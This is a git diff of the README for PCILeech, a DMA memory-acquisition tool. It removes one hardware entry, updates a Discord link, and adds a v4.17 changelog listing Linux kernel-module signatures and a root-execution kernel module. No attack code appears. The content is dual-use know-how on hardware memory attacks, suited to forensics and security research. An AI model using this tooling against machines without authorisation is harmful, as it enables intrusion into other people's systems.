diff --git a/readme.md b/readme.md
index 5cc6ea3..c0c0c77 100644
--- a/readme.md
+++ b/readme.md
@@ -60,7 +60,6 @@ Please find a summary of the supported hardware based memory acquisition methods
| [NeTV2/UDP](https://github.com/ufrisk/LeechCore/wiki/Device_RawUDP) | [FPGA](https://github.com/ufrisk/pcileech-fpga/tree/master/NeTV2) | UDP | 7MB/s | Yes | Yes | No | |
| [USB3380-EVB](https://github.com/ufrisk/LeechCore/wiki/Device_USB3380) | USB3380 | USB3 | 150MB/s | No | No | No | |
| [PP3380](https://github.com/ufrisk/LeechCore/wiki/Device_USB3380) | USB3380 | USB3 | 150MB/s | No | No | No | |
-| [SP605/TCP](https://github.com/ufrisk/LeechCore/wiki/Device_SP605TCP) | FPGA | TCP | 100kB/s | Yes | Yes | Yes | |
| [DMA patched HP iLO](https://github.com/ufrisk/LeechCore/wiki/Device_RawTCP) | BMC | TCP | 1MB/s | Yes | No | Yes | | |
### Software based memory aqusition methods:
@@ -168,7 +167,7 @@ PCILeech, MemProcFS and LeechCore are open source but not open contribution. PCI
Links:
======
* Twitter: [![Twitter](https://img.shields.io/twitter/follow/UlfFrisk?label=UlfFrisk&style=social)](https://twitter.com/intent/follow?screen_name=UlfFrisk)
-* Discord: [![Discord | Porchetta Industries](https://img.shields.io/discord/736724457258745996.svg?label=&logo=discord&logoColor=ffffff&color=7389D8&labelColor=6A7EC2)](https://discord.gg/sEkn3aa)
+* Discord: [![Discord - PCILeech/MemProcFS](https://img.shields.io/discord/1155439643395883128.svg?label=&logo=discord&logoColor=ffffff&color=7389D8&labelColor=6A7EC2)](https://discord.gg/BCmfBhDPXX)
* PCILeech: https://github.com/ufrisk/pcileech
* PCILeech FPGA: https://github.com/ufrisk/pcileech-fpga
* LeechCore: https://github.com/ufrisk/LeechCore
@@ -287,7 +286,10 @@ v4.1
* Command `none` added.
* Options `-bar-ro` and `-bar-rw` added.
-Latest:
+[v4.17](https://github.com/ufrisk/pcileech/releases/tag/v4.17)
* I/O BAR support.
-* Linux KMD signature update (LINUX_X64_48) to support latest Ubuntu kernels.
-* New linux kernel module: lx64_exec_root.
+* Linux improvements:
+ - KMD signature update (LINUX_X64_48) to support latest Ubuntu kernels.
+ - Update of kernel modules to support latest kernels.
+ - New KMD signature - LINUX_X64_MAP - specify target system kernel System.map in -in option.
+ - New kernel module: lx64_exec_root.